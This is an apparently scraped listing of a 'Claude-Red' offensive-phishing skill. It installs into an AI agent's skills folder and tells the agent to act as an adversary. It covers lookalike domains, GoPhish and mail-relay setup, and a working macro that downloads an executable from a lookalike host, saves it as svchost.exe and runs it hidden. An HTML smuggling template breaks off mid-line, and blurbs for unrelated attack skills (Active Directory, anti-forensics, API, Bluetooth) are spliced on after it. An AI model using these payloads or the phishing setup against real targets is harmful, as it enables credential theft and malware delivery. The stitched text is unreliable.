offensive-phishing
Phishing campaign execution methodology for authorized red team engagements. Covers end-to-end campaign lifecycle: infrastructure provisioning (GoPhish, SMTP relay configuration, domain acquisition and aging, SPF/DKIM/DMARC alignment), payload delivery vectors (Office macro weaponization, HTA droppers, ISO/IMG container abuse, LNK shortcut hijacking, OneNote embedded payloads, HTML smuggling), email authentication bypass techniques (SPF softfail exploitation, DKIM replay attacks, display name spoofing, homoglyph and cousin domain registration), credential harvesting with MFA bypass (EvilGinx2 transparent proxy, Modlishka session relay, pixel-perfect HTML cloning), spear phishing pretext development informed by OSINT, email security gateway evasion, QR code phishing (quishing), and callback phishing for initial access. Integrates with GoPhish for campaign management, EvilGinx2 for adversary-in-the-middle credential interception, King Phisher for template design, and the Social Engineering Toolkit for payload generation. Maps to MITRE ATT&CK T1566 (Phishing) and sub-techniques T1566.001 (Spearphishing Attachment), T1566.002 (Spearphishing Link), T1566.003 (Spearphishing via Service). Assumes you have written authorization and a defined scope before any campaign execution.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-phishing && cp -r /tmp/offensive-phishing/Skills/social-engineering/offensive-phishing ~/.claude/skills/offensive-phishingSKILL.md
# Offensive Phishing
Phishing remains the most reliable initial access vector in red team engagements. You are simulating a real adversary -- your infrastructure, pretexts, and payloads must withstand the same scrutiny that a targeted organization's email security stack applies to inbound mail. This skill walks you through building campaigns that test an organization's human and technical defenses against email-based social engineering.
Every technique here assumes you hold explicit written authorization. Document your scope, target lists, and escalation procedures before sending the first email.
## Quick Workflow
1. Register a lookalike domain 4-8 weeks before the engagement; configure DNS records for SPF, DKIM, and DMARC alignment.
2. Stand up GoPhish on dedicated infrastructure; configure SMTP relay through a reputable provider or self-hosted MTA.
3. Develop pretexts based on OSINT -- org announcements, vendor relationships, internal processes.
4. Build or clone landing pages; deploy EvilGinx2 phishlets if MFA bypass is in scope.
5. Craft payloads matched to the target's email security posture (macro-enabled docs, HTML smuggling, ISO containers).
6. Send test emails to your own accounts first; verify rendering, link tracking, and payload delivery.
7. Launch the campaign in waves; monitor GoPhish dashboard for opens, clicks, and credential submissions.
8. Document findings with timestamps, screenshots, and affected user counts for the final report.
---
## Infrastructure Setup
Your sending infrastructure determines whether mail reaches the inbox or lands in quarantine. Treat infrastructure provisioning as the foundation of every campaign.
### Domain Acquisition and Aging
Register domains that visually or semantically resemble the target. Homoglyph substitutions (rn for m, vv for w), TLD swaps (.net instead of .com), and hyphenated variants all work. Age the domain for at least two weeks with benign content and low-volume legitimate email before using it in a campaign.
```bash
# Check domain availability and WHOIS history
whois targetcorp-portal.com
# Verify no existing reputation flags
dig +short targetcorp-portal.com @8.8.8.8
# Generate homoglyph candidates with dnstwist
dnstwist --registered targetcorp.com
```
### DNS and Email Authentication Records
Proper SPF, DKIM, and DMARC records are non-negotiable. Without them, most modern email gateways will reject or quarantine your mail outright.
```bash
# SPF record -- authorize your sending IP
# Add as TXT record on your phishing domain:
# v=spf1 ip4:203.0.113.50 -all
# Generate DKIM keys (2048-bit RSA)
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048
# DMARC record -- set policy to none during warmup
# _dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"
# Verify DNS propagation
dig TXT targetcorp-portal.com
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com
```
### GoPhish Deployment
GoPhish is the standard open-source phishing framework. Deploy it on a VPS with a valid TLS certificate.
```bash
# Download and extract GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish
# Generate TLS certificate with Let's Encrypt
certbot certonly --standalone -d phish.targetcorp-portal.com
# Configure GoPhish (config.json)
cat <<'EOF' > /opt/gophish/config.json
{
"admin_server": {
"listen_url": "0.0.0.0:3333",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
}
}
EOF
# Start GoPhish
cd /opt/gophish && ./gophish &
```
### SMTP Configuration
Self-hosted Postfix or a relay through Amazon SES, Mailgun, or SendGrid. Self-hosted gives you full control but requires careful IP reputation management.
```bash
# Postfix main.cf essentials for phishing relay
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "milter_default_action = accept"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"
systemctl restart postfix
```
---
## Payload Delivery Vectors
Match your payload to the target's email gateway capabilities. If the organization strips macros, pivot to HTML smuggling or ISO containers.
### Office Macro Payloads
Classic but still effective against organizations that allow macro-enabled documents. Use VBA stomping to remove the readable source while preserving the p-code.
```vba
' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
Dim url As String
Dim path As String
url = "https://cdn.targetcorp-portal.com/update.exe"
path = Environ("TEMP") & "\svchost.exe"
Dim xhr As Object
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", url, False
xhr.send
Dim stream As Object
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1
stream.Write xhr.responseBody
stream.SaveToFile path, 2
stream.Close
Shell path, vbHide
End Sub
```
### HTML Smuggling
Bypass email gateways by encoding the payload in JavaScript and reconstructing it client-side. The email contains only HTML -- no attachments for the gateway to scan.
```html
<!-- HTML smuggling template -->
<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var rawActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
Comprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.